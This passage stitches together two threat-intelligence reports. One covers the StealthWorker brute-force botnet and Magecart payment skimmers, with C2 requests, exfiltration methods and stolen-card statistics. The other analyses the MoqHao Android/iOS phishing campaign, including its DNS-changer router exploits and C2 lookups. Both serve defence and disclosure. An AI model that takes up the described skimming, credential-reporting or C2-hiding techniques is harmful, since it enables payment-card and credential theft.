We can see that for magentoBrt worker in figure 8, it includes the parameters Host, Login, Password and Worker to get the job done. However, the parameters are not limited to this. Based on static analysis, we can see other possible parameters that the C2 can utilize from which can then be used by other workers for their attacks. If a login is successful, the worker will report the valid credentials and the service to the C2 as “saveGood”.

<table>
<thead>
<tr>
<th>Email</th>
<th>Login</th>
<th>Port</th>
<th>Subfolder</th>
</tr>
</thead>
<tbody>
<tr>
<td>Host</td>
<td>Password</td>
<td>Subdomains</td>
<td>Xmlrpc</td>
</tr>
</tbody>
</table>

Table 6. Other parameters available

```
GET /project/saveGood?
host: 206.2200.205.205:22000&login=admin&password=123456&service=ssh_b HTTP/1.1
Host: 5.101.0.121:7000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept-Encoding: gzip
Connection: close
```

Figure 9. Savegood for valid credentials

**Monitoring Stealthworker**

Based on our understanding of the bot’s behaviour, particularly its network communication, we wrote a script to monitor its updates. Using Python, our bot does regular requests for the latest version of the malware so that we are always updated every time new functionalities and C2s are added. Our bot also continuously requests the list of jobs served by the C2, which includes the job commands for that day and its corresponding credential list similar to figure 8. Summary of findings during our monitoring:

- 40+ C2 identified
- 200+ samples collected
- 15+ versions identified
- 98M+ unique set of jobs

Breakdown of the jobs received in Table 7.

<table>
<thead>
<tr>
<th>Workers</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>ssh_b</td>
<td>53608313</td>
</tr>
<tr>
<td>wpChk</td>
<td>16748331</td>
</tr>
<tr>
<td>magentoBrt</td>
<td>10596534</td>
</tr>
<tr>
<td>wpBrt</td>
<td>6907885</td>
</tr>
<tr>
<td>magentoChk</td>
<td>3069698</td>
</tr>
<tr>
<td>joomlaChk</td>
<td>2563126</td>
</tr>
<tr>
<td>OCartBrt</td>
<td>1327899</td>
</tr>
<tr>
<td>OCartChk</td>
<td>901375</td>
</tr>
<tr>
<td>mysql_b</td>
<td>586396</td>
</tr>
<tr>
<td>synoB</td>
<td>425400</td>
</tr>
<tr>
<td>admfind</td>
<td>377944</td>
</tr>
<tr>
<td>drupalBrt</td>
<td>308977</td>
</tr>
<tr>
<td>drupalChk</td>
<td>278071</td>
</tr>
<tr>
<td>joomlaBrt</td>
<td>148055</td>
</tr>
<tr>
<td>pbrt</td>
<td>123000</td>
</tr>
<tr>
<td>bitrixChk</td>
<td>97186</td>
</tr>
<tr>
<td>htpasswdBrt</td>
<td>85464</td>
</tr>
<tr>
<td>htpasswdChk</td>
<td>80460</td>
</tr>
<tr>
<td>wpInSt</td>
<td>23999</td>
</tr>
<tr>
<td>Woo</td>
<td>16198</td>
</tr>
<tr>
<td>ftpChk</td>
<td>6300</td>
</tr>
<tr>
<td>postgres_b</td>
<td>600</td>
</tr>
<tr>
<td>bitrixBrt</td>
<td>294</td>
</tr>
</tbody>
</table>

Table 7. Breakdown of jobs received

**Figure 10. Top jobs received from the C2s**
Digital Skimmers

After gaining access to the websites source code, hackers can install their digital skimmer of choice and can be bought underground for prices range from $250 — $5000. There are around 38 unique digital skimmers identified, and numerous groups involved. We will focus on skimmers used on interesting campaigns that we uncovered recently.

Campaign 1:

The malicious JavaScript code also called *CoffeMokko* JS-sniffer has been around since May 2017. While the skimmer has been modified several times, we will be focusing our analysis on the latest sample. The skimmer is loaded by a direct link in the compromised website’s HTML code and can have the following URL format:

```
<C&C>/src/<compromised website>.js
<C&C>/js/<compromised website>.js
<C&C>/assets/<compromised website>.js
```

![Figure 11. Direct link of the malicious JavaScript](https://example.com/image1.png)

Taking a look at the skimmer JavaScript, we can see that some strings are obfuscated to avoid crawlers and signatures detecting their malicious code. Upon deobfuscation, an array is created with interesting strings such as the C2(foodandcot[.]com) and other strings to identify the payment form on the targeted website.

![Figure 12. Deobfuscated malicious JavaScript](https://example.com/image2.png)
To check that the current page is the payment page, it searches for the keywords *onepage*, *checkout*, *onestep* and *firecheckout* in the URL address. Once it is in the correct page it is intercepting the following details after an unaware customer fills in the fields:

![Figure 13. Payment details being stolen](image1)

The intercepted information is then obfuscated by encoding it with base64 and replacing some characters from the result:

![Figure 14. Characters replaced](image2)

Without knowing the replaced characters it would be difficult to decode back the original information. The encoded stolen information is sent via a POST request to `<C&C>/tr/index.php`, which is the same C&C where the malicious JavaScript is being hosted.

![Figure 15. Network Traffic](image3)
C&C Infrastructure

Inspecting the C&C with IP address 178.33.231[.]184 revealed other domains it is hosting. As expected, these domain names attempt to imitate legitimate e-commerce websites related to different services and products (e.g. food, fitness, expresso, etc.). This makes it more difficult to spot something suspicious during static analysis.

The image below highlights the domains that are currently hosting the skimmer JavaScript as well as inactive domains that were used in previous campaigns.

![Diagram of domains](image)

Figure 16. Domains in IP 178.33.231[.]184

Further investigation on the infrastructure of the C&C led us to discover what seems to be the debug log of the C&C. Each line contains a date & time, payment card number, and string "SAVED" which could imply that the stolen payment information the C&C received from the compromised websites has been forwarded and saved in a separate database of the attacker.

![Access log](image)

Figure 17. Access.log
Based on our observation, it seems like the timestamp is set to GMT+2.

To be able to get more information on the payment card numbers, we used a python library called card-validator to check whether the payment card number is valid. Moreover, we can reference the Issuer Identification Number (IIN) to the list of available IIN to determine the issuer, type of payment card, related institution, and its country of origin.

<table>
<thead>
<tr>
<th>Date of Earliest Debug log</th>
<th>2018-07-21</th>
</tr>
</thead>
<tbody>
<tr>
<td>Number of Entries</td>
<td>192,059</td>
</tr>
<tr>
<td>Number of Unique Entries</td>
<td>190,192</td>
</tr>
<tr>
<td>Number of Valid Payment Card Number</td>
<td>186,096</td>
</tr>
<tr>
<td>Number of Invalid Payment Card Number</td>
<td>4,096</td>
</tr>
</tbody>
</table>

Table 8. Summary of access.log

At the early stages of this campaign, the cybercriminals were able to get as much as 40,000+ payment card details in a single month. After that, it began to slow down; the reason might be because more and more people have become aware of the scheme and security companies have detecting more of this campaign. After all, this was the time when news of breaches on major global brands spread. Another possibility is that owners of the compromised e-commerce websites might have started to discover and clean up the malicious script from their systems resulting to lesser payment card details stolen by Magecart.

Below is the breakdown of the Issuer of the payment card based on the debug log (Figure 19). Based on the Issuer Identification Number, we were able to successfully identify the issuing country of 54% of the total valid credit card numbers (Table 9).

<table>
<thead>
<tr>
<th>Card Issuer</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>visa</td>
<td>59.3%</td>
</tr>
<tr>
<td>mastercard</td>
<td>28.8%</td>
</tr>
<tr>
<td>discover</td>
<td>9.7%</td>
</tr>
<tr>
<td>amex</td>
<td>2.1%</td>
</tr>
<tr>
<td>others</td>
<td>0.2%</td>
</tr>
</tbody>
</table>

Table 9. Top countries

<table>
<thead>
<tr>
<th>Country</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>US</td>
<td>75.5%</td>
</tr>
<tr>
<td>AU</td>
<td>6.4%</td>
</tr>
<tr>
<td>GB</td>
<td>3.9%</td>
</tr>
<tr>
<td>BR</td>
<td>3.6%</td>
</tr>
<tr>
<td>DE</td>
<td>1.9%</td>
</tr>
<tr>
<td>MX</td>
<td>1.3%</td>
</tr>
<tr>
<td>IT</td>
<td>1.2%</td>
</tr>
<tr>
<td>FR</td>
<td>1.0%</td>
</tr>
<tr>
<td>CA</td>
<td>0.9%</td>
</tr>
<tr>
<td>others</td>
<td>4.3%</td>
</tr>
</tbody>
</table>
Campaign 2 — Inter skimmer:

This is a different skimmer from the previous campaign; it is highly customizable and can be configured for the buyer’s needs. It is reportedly sold in underground forums for $1,300 per license.

Our investigation began when we found a malicious JavaScript connecting to tracker-visitors[.]com, where it was disguised as a visitor traffic tracker for a website. Further analysis on the domain led us to the discovery of several open directories, which then led us to more customized skimmer scripts used by the campaign.
Here is another domain named `jquerycodemagento[].com` sharing the same IP with `tracker-visitors[].com`.

Since beginning our investigation, we have identified over 100 skimmer scripts and 18 open directories, but there could possibly be more hidden directories that we have not yet uncovered. As expected, the filenames of the malicious JavaScript attempt to imitate commonly used script utilities, as well as names directly related to the compromised website targets. Based on functionalities, the scripts found from the open directories can be categorized to the following types:

1. Loader
2. Web skimmer
3. Fake payment form
1. Loader

In general, the loader scripts’ function is to simply load the actual skimmer hosted on one of the campaign’s C2s. Figure 22 shows a code snippet of one of the loaders, ver.js. Before loading the skimmer, it uses an open-source tool called devtools-detect to determine if the script is being executed using a debugger, in which case it will not proceed with loading the skimmer.

2. Web skimmer and fake payment form

E-commerce websites use different platforms for handling payments. For instance, some websites handle the payments internally, while others use external payment service providers (PSPs). Depending on which platform the compromised website uses, the campaign uses either a web skimmer or a fake payment form.

They use web skimmers for internally managed payments so the attackers can access and intercept entered credit card details from forms that are already on the website. In the case of websites that use PSPs, since the attackers do not have access to the information provided by the customers after they have been redirected to an external payment service, they have to get the information before that happens. They accomplish this by tricking users into filling in their card details on fake forms before the redirection.

The following samples are used in our analysis:

vmarto.js — web skimmer
cap.js — fake payment form

The skimmers initially check to determine if the site has finished loaded by calling `document.readyState` before continuing to the main routine. The skimmers then execute every half a second.

After the initial check, Inter retrieves stored cookies named $s and $sent that contain records of previously encoded stolen payment information. This information is used later in the attack.
As can be seen below, the web skimmers call the functions `SaveAllFields()` to get the general information of the victim, and `GetCCInfo()` to specifically capture Credit Card details. As previously mentioned, for those websites that use PSPs, a fake form can be inserted, hence the addition of the `AddForm()` function.

The scripts that inject these forms are customized specifically to the payment page of the compromised websites, knowing where and when to display the fake forms. This means that the threat actors had to identify the layout of each payment page before injection.

As shown below, the fake payment form is only added when the "Pay by credit card" button is clicked. An untrained eye might not see anything suspicious, but by reading carefully, the button is labelled with "VALIDATE AND PROCEED TO PAYMENT". This clearly means that the customer is not expected to provide any credit card details until the next step.
To extract the right information, skimmers usually check for keywords in the current URL to make sure that the skimmer is running on a checkout or payment page. The Inter skimmer takes a different approach. Regardless of what the page the consumer is on, it extracts all entered information on the current webpage by taking values from form elements with the tags `input`, `select`, and `textarea`. The values are then further filtered to extract the actual credit card details.

This data is then converted to JSON and encoded with a simple base64 and stored as a cookie in $s$. The MD5 hash of the encoded data is then calculated and compared to the entries in the variable $s.Sent$, which contains a list/array of MD5 hashes of payment details previously sent to the C2 server. If the hash exists, the data is discarded to avoid sending duplicate data. It is also worth mentioning that the C2 used for data extraction is also where the malicious JavaScript is hosted.
The way this malware sends collected information to its C2 server is also notable and different from the previous campaign. It creates an IMG element and then sets the image source to the C2, with the encoded payment details as a parameter.

Shown below is the traffic once the created IMG element connects to its image source. It disguises itself as an image content, which is a way to avoid detection — especially since it’s normal to load a lot of IMG elements into a webpage. This then initiates a GET request, which might be less suspicious than the commonly used POST request method for data extraction.
3. Fake Payment Forms

To provide a sense of this campaign’s scope, it supports at least 18 major payment vendors, mainly in the US, UK, AUS, and FR. We also have seen around a dozen different fake payment forms created by this campaign, each catering to different vendors and provided in different languages.

Underground Market

There is no shortage in the underground market when it comes to services involving compromising websites. For hackers involved in brute force attacks or vulnerability scanning, they can save the trouble of checking which service a website is running on when they can easily purchase a list of websites for a specific service. Prices begin at around $40 that will provide a whole list of websites for that service.

Another offered service is selling of web shells. Prices range from as little as $0.50 USD to $1,000 USD depending on the websites value. Hackers can then use it for any purpose whether inject a digital skimmer, abuse it for cryptocurrency mining or as proxy to hide its malicious activities. As of this writing, at least 11,223 websites’ accesses are being sold.
With similar functionalities to stealthworker, NitroBrut botnet is being sold online for $499.

Now comes the monetization, there is a lot of sellers in different platform selling stolen credit card details. Prices can range from $1 up to $18 depending on the value of the credit card. It is quite cheap for the buyers compared to the possible returns of thousands of dollars from fraudulent transactions.
How to stay protected

• **Subresource Integrity (SRI)** — By checking the file integrity, the website is certain to only loads scripts from third party providers that haven’t been altered. This can mitigate risks where a third-party script has been compromised and maliciously modified. One major pitfall however is if not properly set up, it can cause a lot of false positives and can block safe third-party scripts specially to scripts that are frequently updated.

• **Content Security Policy (CSP)** — A standard introduced to prevent XSS, clickjacking and other code injection attacks from executing in the web page. It has a whitelist of trusted sources and every other connection is blocked. This could mitigate MageCart attacks where it loads the skimmer from its own C2 server.

• **IT Security Auditing** — Understand and manage the potential attack surfaces. Continuous auditing for SRI and CSP to be effective.

Conclusion

The threat posed by digital skimmers is real as it has since the advent of e-commerce and everyone could be a victim — customers, merchants, banks, and payment systems. The wave of Magecart attacks we have discussed shows how threat actors take advantage of small and medium-sized businesses that don’t have the luxury to have a security team around the clock.

This research allowed the FortiGuard Lion Team to understand how digital skimmers operate. With tools, services and data already available in underground forums, anyone with malicious intent can launch their own threat campaigns with relative ease. Because of this, we can only expect more cybercriminals entering this already crowded threat landscape. Thus, the security industry must respond by closely monitoring these developments in order to mitigate attacks. However, e-commerce companies also play a big part of the solution. They must have a proper security management, implementation, and constant monitoring on their side, especially with this kind of attack wherein a simple password management can go a long way in saving a business from possible irreversible damage.

References

- [https://www.fortinet.com/blog/threat-research/inter-skimmer-for-all.html](https://www.fortinet.com/blog/threat-research/inter-skimmer-for-all.html)
- [https://www.fortinet.com/blog/threat-research/payment-card-details-stolen-magecart.html](https://www.fortinet.com/blog/threat-research/payment-card-details-stolen-magecart.html)
- [https://www.opensourcecms.com/cms-market-share/](https://www.opensourcecms.com/cms-market-share/)
- [https://www.group-ib.com/media/js-sniffers-report/](https://www.group-ib.com/media/js-sniffers-report/)
- [https://www.flashpoint-intel.com/blog/access-to-breached-sites-found-on-underground-market/](https://www.flashpoint-intel.com/blog/access-to-breached-sites-found-on-underground-market/)
MoqHao: Targeted Attacks on Android and iOS in Japan

Dhanalakshmi Velusamy / K7 Computing

Abstract

Japanese users, both Android and iOS, have been constantly and aggressively targeted by MoqHao, a sophisticated and evolving cross-platform phishing campaign, for quite some time now, despite notifications to law enforcement and JP-CERT. The latest strike, on August 6th 2019, was on users of DHL and JPPost in Japan, lining up Sagawa and SoftBank.

TTPs of MoqHao include the spreading channels of smishing or DNS hijacking, exploiting Cross-Site Request Forgery (CSRF) vulnerabilities like CVE-2018-20872, CVE-2017-7404, CVE-2017-6334 in unpatched DrayTek and D-link routers, and a game-changing script-laced browser component, a critical attribute of MoqHao that directs the victim to a platform-specific payload. The payload on Android, a spoofed APK (with base64 encoded objects and/or a native binary component) can be downloaded either from the Google Play Store or a third party server located in Taiwan, China, and most recently in Romania. On iOS, the payload has involved a landing page that either forces a victim to install a signed malicious .mobileconfig xml that collects and sends device information to the URL pointed at in the mobileconfig or runs a browser-based cryptomining script in the background. The Android MoqHao payload's ultimate goal has so far been data exfiltration, including banking credentials, and spying on the victim's activities.

V. Dhanalakshmi, Senior Threat Researcher, has been with K7 Computing, Chennai, India in K7’s Threat Control Lab. She started her career as Technical Support Executive — Virus Removal Team with Sutherland Global Services, Chennai. Later, she joined Technosoft Global Services, Chennai, and served as Threat Research Analyst. She has presented papers at AVAR 2011, AVAR 2013, AVAR 2018 conferences and at the National Cyber Safety Summit conferences organised by the Government of India. Her interests include listening to music and gardening.
MoqHao’s attack pattern thus far indicates that it targets diverse conglomerates in Japan’s logistics and telecommunications industries, and that it periodically refreshes or re-attacks its target lists. Sagawa (a Japanese logistics company) users have been targeted in April & August 2019, while the first spot of MoqHao’s activities was back in October 2018.

This paper explains the end-to-end TTPs of on-going MoqHao campaigns to reveal current attack patterns to identify the next potential target in advance. We dissect the various stages of this campaign, for both iOS and Android, throughout its evolution. We also provide detection methodologies at all security layers on an Android device. Finally, we will also explain the social engineering, anti-reversing and modular approach techniques in the Android payload, along with an insight on how the MoqHao payload for iOS works, with a view to devising possible detections and Remediations.

**Actions by JPCERT/CC**

In JPCERT/CC Incident Handling Report[^1] [July 1, 2018 – September 30, 2018], under “Coordination”, involving websites distributing Android malware spoofing Sagawa Express, it is stated that “All the websites identified were pointing to a dynamic IP address of a specific Internet service provider in Taiwan, so JPCERT/CC contacted the ISP managing the relevant IP addresses and TWNCERT, the national CSIRT of Taiwan, to take appropriate action” on the threat actors. However, ongoing attacks on Sagawa and JPPost in 2019 by MoqHao shows that the threat actors behind the group are still active.

**Overview of MoqHao**

MoqHao’s history of Japanese targets between 2017 and 2019 (till 15th September 2019) are:

- Sagawa Express
- JPPost
- Nittsu Logistics
- SoftBank[^2]
- NTT Docomo[^3]

MoqHao’s targets listed above are diverse conglomerates or MNOs in Japan’s logistics and telecommunications[^4] (mobile networks) industry that are identified as Japan’s top 10 companies. Targets that are re-attacked by MoqHao periodically are Sagawa, targeted in April & August 2019, while the first spot of MoqHao’s activities on Sagawa was back in October 2018.

MoqHao’s first instance can be referred back to 2015[^5] targeting Korean Android users (probably South Korean users) that visit “m.naver.com” from an Android phone. The attack vector in this case was a poorly configured router that had its DNS setting changed from the original IP
address to rogue DNS "168.126.63.1". Any request to "m.naver.com" via the compromised router from an Android device was redirected to a phishing IP "98.126.148.53" that delivered a malicious fake chrome APK with random character filenames of the pattern "([0-9]{5}[a-z]{4}).apk". Let us have a quick look at the evolution of known MoqHao targets and its distribution techniques used through 2015 till September 2019.

Korean Android users (probably South Korean)
DNS Hijacking
Fake Chrome APK

South Korean Android and iPhone users
SMShing
Fake Chrome or Facebook APK

Japanese and 25 other languages across the world
DNS Hijacking
Fake Chrome, Facebook, Sagawa
iOS webcryptomining/phishing

Japanese and 25 other languages across the world
DNS Hijacking
Fake Sagawa, iPost, NTT Docomo, SoftBank, DHL APK
iOS phishing

Figure 1. Timeline of MoqHao

Tactics, Techniques & Procedures

MoqHao phishing campaign includes various stages in its infection chain on mobile targets since 2015. Let us discuss in detail the techniques used.

Router exploits

MoqHao equips its attack by exploiting a vulnerable router with Cross-Site Request Forgery (CSRF) vulnerabilities like, CVE-2018-20872, CVE-2017-7404, and CVE-2017-6334, etc., in unpatched DrayTek and D-Link routers and changes the router’s DNS settings to point to a rogue DNS server IP address. Figure 2 shows one of the DNS Changer exploit payloads active at the time of writing this paper.

Figure 2. DNS Changer
As shown in Figure 2, the URL query changes the DNS settings of an identified vulnerable D-Link router to the specified primary and secondary rogue DNS server’s IP addresses, 42.115.35.45 and 42.115.35.55 respectively.

Table 1 below lists server IP addresses and the location of servers that were identified to host DNS Changer payload in 2019.

<table>
<thead>
<tr>
<th>Identified Period</th>
<th>Rogue DNS Primary / Secondary</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>April 2019</td>
<td>205.209.174.234</td>
<td>San Jose, California, United States</td>
</tr>
<tr>
<td>May 2019</td>
<td>198.44.226.209</td>
<td>Rowland Heights, California, United States</td>
</tr>
<tr>
<td>July 2019</td>
<td>172.247.109.45</td>
<td>Los Angeles, California, United States</td>
</tr>
<tr>
<td>August 2019</td>
<td>23.225.121.170</td>
<td>Los Angeles, California, United States</td>
</tr>
<tr>
<td>September 2019</td>
<td>23.225.121.131/23.225.121.242</td>
<td>Los Angeles, California, United States</td>
</tr>
</tbody>
</table>

Table 1. IP address of the servers that hosted DNS Changer payloads

Rogue DNS Server

Apparently MoqHao’s rogue DNS servers have open RDP ports (port: 3389) to host its IP resolution table to phishing pages. Attackers could have potentially carried out a brute-force attack to break weak usernames and passwords to remotely login to the server as the IP addresses listed below are from legitimate vendors. Table 2 below shows the list of rogue DNS servers with open ports 53 (DNS) and 3389 (RDP) used by MoqHao phishing campaign till 15th September 2019.

<table>
<thead>
<tr>
<th>Identified Period</th>
<th>Rogue DNS Primary / Secondary</th>
<th>Location</th>
<th>Open Ports</th>
</tr>
</thead>
<tbody>
<tr>
<td>April 2019</td>
<td>171.244.33.114 / 171.244.33.116</td>
<td>Ha Noi, Vietnam</td>
<td>53/tcp open tcpwrapped 3389/tcp open ssl/ms-wbt-server?</td>
</tr>
<tr>
<td>May 2019</td>
<td>171.244.3.110 / 171.244.3.111</td>
<td>Ha Noi, Vietnam</td>
<td>53/tcp open tcpwrapped 3389/tcp open ssl/ms-wbt-server?</td>
</tr>
<tr>
<td>July 2019</td>
<td>118.30.28.38 / 118.30.28.39</td>
<td>Guangxi, China</td>
<td>53/tcp open tcpwrapped 3389/tcp open ssl/ms-wbt-server?</td>
</tr>
<tr>
<td>August 2019</td>
<td>42.112.35.45 / 42.112.35.55</td>
<td>Ha Noi, Vietnam</td>
<td>53/tcp open tcpwrapped 3389/tcp open ssl/ms-wbt-server?</td>
</tr>
<tr>
<td>September 2019</td>
<td>1.53.252.215 / 1.53.252.164</td>
<td>Ha Noi, Vietnam</td>
<td>53/tcp open tcpwrapped 3389/tcp open ssl/ms-wbt-server?</td>
</tr>
</tbody>
</table>

Table 2: Rogue DNS server details

Here is the list of a few phishing IP addresses hosted in different regions:

<table>
<thead>
<tr>
<th>IP</th>
<th>Country</th>
<th>Target</th>
</tr>
</thead>
<tbody>
<tr>
<td>103.223.121.184</td>
<td>China</td>
<td>JPPost</td>
</tr>
<tr>
<td>2.58.230.2</td>
<td>Hong Kong</td>
<td>JPPost</td>
</tr>
<tr>
<td>23.245.228.125</td>
<td>United States</td>
<td>Apple ID login page</td>
</tr>
</tbody>
</table>
Script-laced Browser Component

To download appropriate malicious payload, MoqHao reads the application type, in turn OS of the device from which the phishing URL is accessed. This malware group achieves this by using a simple Javascript command, "navigator.userAgent" in HTML source of the phishing links and reads the User Agent field in the HTTP header as shown in Figure 3.

![Figure 3. Script to check for platform](image)

A typical HTTP header with User Agent is as shown in Figure 4 below. The aforementioned script reads the HTTP header and downloads the appropriate payload to compromise the device when visiting the phishing URL.

![Figure 4. User Agent in HTTP header](image)

The downloaded malware payload is an APK for Android users, while iOS users are redirected to a phishing page that imitates Apple’s login page or to a webcryptomining activity as shown in Figure 3.
An interesting clue left behind by MoqHao's threat actors for the research community is observed in many of their recent phishing pages for targeting Sagawa as shown in Figure 5.

![HTML source of a Sagawa phishing link qe-zf.top showing the web crawler tool](image)

Figure 5. HTML source of a Sagawa phishing link qe-zf.top showing the web crawler tool

It implies that this group uses simple and publicly available tools to mimic a legitimate website. Here it is the mirroring tool "HTTrack Website Copier/3.x [XR&CO’2014]" which has been quite popular for many years.

**Identifying Who’s Next**

As stated earlier, MoqHao's targets are the users of leading companies in the Logistics and Telecommunications industry. The main components attributed to MoqHao are the phishing URLs patterns and the script component. Based on one of the latest samples analysed, smartcat.apk (downloaded on 30th August 2019), the next potential target could be one of the companies from Logistics and Telecommunications industry[^9], Japan.

![Code showing KDDI](image)

Figure 6. Code showing KDDI

**Who is Behind MoqHao?**

Investigating MoqHao's attributes in order to spot the malware group behind, we notice that there are similarities between MoqHao also referred as FakeSpy and the Chinese cybercriminal Yanbian gang[^6].
CODING STYLE

Yanbian is a Chinese cybercriminal gang notorious for stealing money from South Korean banking users. This group uses servlets and JSON objects to send out the collected information as shown in Figure 7 below.

A similar pattern of the Yanbian gang’s malcode modules with servlets and JSON objects to exfiltrate data from a victim’s device and forward to a Chinese C2 are spotted in the latest MoqHao jppost.apk (6B2F3249420C3504DDD62FE4C2A65820), also referred to as Fakespy/Xloader (downloaded on 3rd September 2019) as shown in Figure 8 below.

MOQHAO’S CHINESE BASE

C2 IP addresses, 156.233.25.207 and 185.161.70.116, connected to by the same sample jppost.apk traces back to the United States, but it takes the user to the host http://nittsu-si.com, a Chinese website requesting for admin username and password as shown in Figure 9 and Figure 10 respectively.
MoqHao samples until August 2019 had Chinese characters (in the user profile of hardcoded social media links accessed) as their encrypted version of actual C2 address that traced back to Taiwan.

Adding to the above, both Yanbian and MoqHao targeted South Korean users initially. Based on the similarities discussed, MoqHao could have a connection with the Yanbian group or perhaps share the same attack patterns and infrastructure.
MoqHao's Payload

In this section let us dissect the payload in each of the mobile platforms. As explained earlier, MoqHao's script in the phishing pages decides on the payload to be downloaded on the victim's device.

**iOS**

Attackers continue to look for ways to compromise iOS devices. Once the MoqHao script spots iOS, a phishing page, for instance, "securityayr-apple.top" will prompt the user to download a signed malicious iOS configuration profile (.mobileconfig.xml).

Once installed, the phishing site opens automatically in the browser and collects "device attributes" of the compromised device like UDID, IMEI, ICCID, version and product which are then passed on to the threat actors. One of the malicious .mobileconfig xml is shown in Figure 11.

The URL mentioned in the xml file above, "https://fflakeog.com/apple/index.php/receive" receives the device information collected from the device.

**Webcryptomining**

Webcryptomining on iPhone devices existed only for a short period, where the user will be shown a blank page on their devices while the cryptomining happens in the background that shoots up the CPU usage of the device. However, the infection vector is now back to phishing.

---

Figure 11. Signed malicious .mobileconfig.xml

Figure 12. Browser script showing webcryptomining URL
Android

Let us look at the technical details of unique malicious behaviour pertaining to Android MoqHao payloads since its existence.

PAYLOAD EXTRACTION

The spoofed malware APK, once installed, decodes or decrypts the corresponding encoded or encrypted component under the assets folder using one of the following appropriate methods:

- Base64 decode
- Base64 decode with zlib decompression
- Loading a native library with the naming pattern "^lib[a-z]{3}.so" which in turn base64 decodes the payload
- Decrypts the encrypted data with the decryption logic available within classes.dex
  - The latest variant carries the encrypted malicious content both under the assets folder as well as within classes.dex itself. A configuration file within the assets folder decides on the content for decryption.

JAVA HTTP SERVER

Installed app also displays a fake alert message claiming "Account No exists risks, use after certification" to lure the victim to hit "ENTER" button. Once the victim wishes to verify, a webview interface pointing to "127.0.0.1:<port number>" is created that requests the victim to enter personally identifiable information (PII) like name, date of birth and address, which are saved locally and sent back to the hacker at a later point in time as shown in Figure 14.
The port number to communicate with the local Java HTTP server is a random number generated as shown in the code below.

```java
private final String a(Account paramAccount) {
    int ii = new Random().nextInt(10000) + 12000;
    String localg = new String(ii);
    localg.a((this, paramAccount, "/");
    localg.b((this, localg, "submit"));
    new Thread((Runnable)new a(localg)).start();
    paramAccount = new String.Builder();
    paramAccount.append("http://127.0.0.1:");
    paramAccount.append(ii);
    paramAccount.append(");
    return paramAccount.toString();
}
```

Figure 15. Local Java HTTP server at 127.0.0.1 and a random port number

Debugging logcat for starting a local Java HTTP server and HTTP request events gives more insight on the actual port number used, unique UserID of Java HTTP server and the ProcessID of the application that is in connection with the local server as shown in Figure 16 below.

Figure 16. Local Java HTTP server logcat details

In Figure 16 above, 5934 is the Processid of the malware app which opens a webview component with the URL, http://127.0.0.1:3029, i.e. via port number 3029.

**C2 INFRASTRUCTURE**

The payload dex alongside generates a C2 domain by reading the hardcoded direct user profile URLs to one of the social media or public websites listed below in Figure 17.

Figure 17. Hardcoded URL of a public website and user profile pattern
Other social media and public websites accessed in other MoqHao variants are listed in Table 4.

<table>
<thead>
<tr>
<th>Hardcoded URLs in other MoqHao variants</th>
<th>Pattern to look for</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.blogger.com/profile/%25s">https://www.blogger.com/profile/%s</a></td>
<td><code>&lt;p&gt;{{[\u4e00-\u9fa5]+?}}&lt;/p&gt;&lt;\s+&lt;div&gt;</code></td>
</tr>
<tr>
<td><a href="http://my.tv.sohu.com/user/%25s">http://my.tv.sohu.com/user/%s</a></td>
<td>公司&lt;\span&gt;{{[\u4e00-\u9fa5]+?}}&lt;/span&gt;`</td>
</tr>
<tr>
<td><a href="https://www.baidu.com/p/%25s/detail">https://www.baidu.com/p/%s/detail</a></td>
<td>biography&quot;:&quot;{{[\w_-]+?}}&quot;</td>
</tr>
<tr>
<td><a href="https://www.instagram.com/%25s">https://www.instagram.com/%s</a></td>
<td><code>&lt;title&gt;{{[\w_\-]+?}}&lt;</code></td>
</tr>
<tr>
<td><a href="https://docs.google.com/document/d/%25s/mobilebasic">https://docs.google.com/document/d/%s/mobilebasic</a></td>
<td><code>&lt;title&gt;{{[\w_\-]+?}}&lt;</code></td>
</tr>
<tr>
<td><a href="https://docs.google.com/document/d/%25s/mobilebasic">https://docs.google.com/document/d/%s/mobilebasic</a></td>
<td><code>title=&quot;{{[\w_\-]+?}}&amp;</code></td>
</tr>
<tr>
<td><a href="https://m.youtube.com/channel/%25s/about">https://m.youtube.com/channel/%s/about</a></td>
<td><code>&quot;\{&quot;\&quot;description\:&quot;{&quot;\&quot;runs&quot;:\{&quot;\&quot;text&quot;:\&quot;{{[\w_\-]+?}}&quot;,&quot;\&quot;\}</code></td>
</tr>
<tr>
<td><a href="https://m.vk.com/%25s?act=info">https://m.vk.com/%s?act=info</a></td>
<td><code>&lt;/dt&gt;&lt;dd&gt;{{[\w_\-]+?}}&lt;/dd&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</code></td>
</tr>
<tr>
<td><a href="https://twitter.com/%25s">https://twitter.com/%s</a></td>
<td><code>&lt;title&gt;abcd{{[\u4e00-\u9fa5]+?}}&lt;</code></td>
</tr>
</tbody>
</table>

Table 4. Public and social media websites with corresponding user profile patterns

In the URL accessed, "%s" is replaced with a user profile that matches the pattern above. The pattern of the user account in MoqHao variants has so far been a string with "\" followed by "\@".

The populated URL with the user account https://www.blogger.com/profile/00569308955552776429 contains control server IP and port number hidden in the profile description as shown in Figure 19.
Pattern "title="((\w_\-\+\?)+)&" is searched for in the HTML source of blogger.com/00569308955552776429 and the matched string is decoded and decrypted using the key "Ab5d1Q32".

Logcat details of extracting encrypted C2 domain and the actual C2 IP address are as follows.

The extracted pattern after decryption results in the actual C2 address "220.136.151.47:38876" which communicates with the compromised device. On establishing the connection with C2 server, the malware APK waits for one of the commands among sendSms, setWifi, gcont, lock, bc, setForward, getForward, hasPkg, setRingerMode, setRecEnable, reqState, showHome, getnpki, http, onRecordAction, call, get_apps, show_fs_float_window, ping and getPhoneState.

In addition to the above stated behaviour, MoqHao spreads further via SMSShing by collecting the contact list and network operator information of the compromised device and localising SMS messages with phishing links to all of the contacts as shown in Figure 6.
Social engineering

MoqHao uses the tactics below to trick a user to fall prey to its attack.

- **Localising the threats**
  - Multilingual (27 languages) to be region-specific and to localize attacks
  - Hindi is also seen in the list of 27 languages (see Figure 23)
  - Masquerades as region-specific popular apps like Sagawa, JPPost etc.

- **SMS sent to friend’s list**
  - People in a victim’s contact list are compromised by pretending that the phishing links are from a trusted source leading to more clicks on malicious links

![Code Snippet]

**Figure 23. Different languages used by MoqHao**

